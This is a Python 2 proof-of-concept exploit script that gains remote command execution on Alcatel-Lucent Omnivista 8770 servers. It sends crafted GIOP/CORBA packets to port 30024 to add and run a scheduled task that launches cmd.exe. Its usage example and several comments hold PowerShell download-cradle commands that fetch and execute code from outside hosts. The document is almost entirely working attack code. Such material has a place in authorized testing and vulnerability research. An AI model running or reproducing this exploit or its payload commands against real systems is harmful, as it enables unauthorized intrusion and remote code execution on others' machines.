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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

import socket
import time
import sys
import os

# ref https://blog.malerisch.net/
# Omnivista Alcatel-Lucent running on Windows Server


if len(sys.argv) < 2:
    print "Usage: %s <target> <command>" % sys.argv[0]
    print "eg: %s 192.168.1.246 \"powershell.exe -nop -w hidden -c \$g=new-object net.webclient;IEX \$g.downloadstring('http://192.168.1.40:8080/hello');\"" % sys.argv[0]
    sys.exit(1)

target = sys.argv[1]
argument1 = ' '.join(sys.argv[2:])

# so we need to get the biosname of the target... so run this poc exploit script should be run in kali directly...

netbiosname = os.popen("nbtscan -s : "+target+" | cut -d ':' -f2").read()
netbiosname = netbiosname.strip("\n")

# dirty functions to do hex magic with bytes...
### each variable has size byte before, which includes the string + "\x00" a NULL byte
### needs to calculate for each
### 

def calcsize(giop):

	s = len(giop.decode('hex'))
	h = hex(s) #"\x04" -> "04"
	return h[2:].zfill(8) # it's 4 bytes for the size

def calcstring(param): # 1 byte size calc
	
	s = (len(param)/2)+1
	h = hex(s)
	return h[2:].zfill(2) # assuming it is only 1 byte , again it's dirty...

def calcstring2(param):

	s = (len(param)/2)+1
	h = hex(s)
	return h[2:].zfill(4)



##

#GIOP request size is specified at the 11th byte

# 0000   47 49 4f 50 01 00 00 00 00 00 00 d8 00 00 00 00  GIOP............
# d8 is the size of GIOP REQUEST

# GIOP HEADER Is 12 bytes -
# GIOP REQUEST PAYLOAD comes after and it's defined at the 11th byte



#phase 1 - add a jobset

giopid = 1 # an arbitrary ID can be put there...

# there are checks in the size of the username.. need to find where the size is specified - anyway, 58 bytes seems all right...

usernamedata = "xxx.y.zzzzz,cn=Administrators,cn=8770 administration,o=nmc".encode('hex') # original "383737302061646d696e697374726174696f6e2c6f3d6e6d63"

#print "Size of usernamedata" + str(len(usernamedata.decode('hex')))

jobname = "MYJOB01".encode('hex') # size of 7 bytes # check also in the captured packet...


addjobset = "47494f50010000000000012600000000" + "00000001" + "01000000000000135363686564756c6572496e7465726661636500000000000a4164644a6f625365740000000000000000000008" + jobname + "00000007e0000000060000001b00000010000000240000000000000000000000000000000000000000000000000000000000000000002a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000083131313131313100010000000000000000000000000000010000000000000000000000000000003f7569643d" + usernamedata + "00000000000a6f6d6e69766973626200" # this last part can be changed???

print "Alcatel Lucent Omnivista 8770 2.0, 2.6 and 3.0 - RCE via GIOP/CORBA - @malerisch"
print "Connecting to target..."




p = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
p.connect((target, 30024))


#p = remote(target, 30024, "ipv4", "tcp")

print "Adding a job..."

p.send(addjobset.decode('hex'))

#p.recv()

data = p.recv(1024)

s = len(data)

#objectkey = "" # last 16 bytes of the response!

objectkey = data[s-16:s].encode('hex')

#print objectkey

# phase 2 - active jobset

print "Sending active packet against the job"

activegiopid = 2
active = "47494f50010000000000003100000000" + "00000002" + "0100000000000010" + objectkey +  "0000000741637469766500000000000000"

#print active

p.send(active.decode('hex'))

data2 = p.recv(1024)

#print data2

# phase3 add task

addjobid = 3

print "Adding a task...."

taskname = "BBBBBBB".encode('hex')
servername = netbiosname.encode('hex')
command = "C:\Windows\System32\cmd.exe".encode('hex') #on 32bit
#command = "C:\Windows\SysWOW64\cmd.exe".encode('hex') #on 64bit
commandsize = hex((len(command.decode('hex'))+1))
commandsize = str(commandsize).replace("0x","")

#print "Command size: "+ str(commandsize)

#print command.decode('hex')

#time.sleep(10)

#powershell = str(command)
#powershell = "powershell.exe -nop -c $J=new-object net.webclient;IEX $J.downloadstring('http://192.168.1.40:8080/hello');"

#-nop -w hidden -c $J=new-object net.webclient;$J.proxy=[Net.WebRequest]::GetSystemWebProxy();$J.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $J.downloadstring('http://10.190.127.154:8080/');

#-nop -w hidden -c $J=new-object net.webclient;$J.proxy=[Net.WebRequest]::GetSystemWebProxy();$J.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $J.downloadstring('http://10.190.127.154:8080/');

argument = str("/c "+argument1).encode('hex')
#argument = str("/c notepad.exe").encode('hex')

#print len(argument.decode('hex'))

#argumentsize = len(str("/c "+powershell))+1

#print "Argument size: "+str(argumentsize)

argumentsize = calcstring2(argument)

#print "argument size: "+str(argumentsize)

#print argument.decode('hex')

def calcpadd(giop):
	defaultpadding = "00000000000001"
	check = giop + defaultpadding + fixedpadding
	s = len(check)
	#print "Size: "+str(s)
	if (s/2) % 4 == 0:
		#print "size ok!"
		return check
	else:
		# fix the default padding
		#print "Size not ok, recalculating padd..."
		dif = (s/2) % 4
		#print "diff: "+str(dif)
		newpadding = defaultpadding[dif*2:]
		#print "Newpadding: " +str(newpadding)
		return giop + newpadding + fixedpadding




addjobhdr = "47494f5001000000" # 8 bytes + 4 bytes for message size, including size of the giop request message

fixedpadding = "000000000000000100000000000000010000000000000002000000000000000000000000000000000000000f0000000000000000000000000000000000000002000000000000000000000000"

variablepadding = "000000000001"

#print calcstring(servername)
#print calcstring(taskname)

#print "Command:" +str(command)
#print "command size:"+str(commandsize)

addjob = "00000000000000b30100000000000010" + objectkey + "000000074164644a6f62000000000000000000" + calcstring(taskname) + taskname + "0000000001000000"+ commandsize + command  +"00000000" + calcstring(servername) + servername + "000000" + argumentsize + argument + "00"

#print addjob

addjobfin = calcpadd(addjob)

#print addjobfin.decode('hex')

addjobsize = calcsize(addjobfin)

#print "Lenght of the addjob: "+str(len(addjobfin.decode('hex')))

# we need to add the header

finalmsg = addjobhdr + addjobsize + addjobfin


p.send(finalmsg.decode('hex'))

data3 = p.recv(1024)

#print data3

# phase4 - execute task

executeid = 4

print "Executing task..."

execute = "47494f50010000000000003500000000000001100100000000000010" + objectkey + "0000000b457865637574654e6f7700000000000000"

p.send(execute.decode('hex'))

data4 = p.recv(1024)

print "All packets sent..."
print "Exploit sequence completed, command should have been executed...:-)"

p.close()

# optional requests to remove the job after the exploitation

### in metasploit, we should migrate to another process and then call an "abort" function of Omnivista

##phase5 - abort the job

canceljob = "47494f500100000000000030000000000000008e0100000000000010" + objectkey + "0000000743616e63656c000000000000"

###phase6 - delete the jobset 

deletejob = "47494f500100000000000038000000000000009e0100000000000010" + objectkey + "0000000d44656c6574654a6f625365740000000000000000"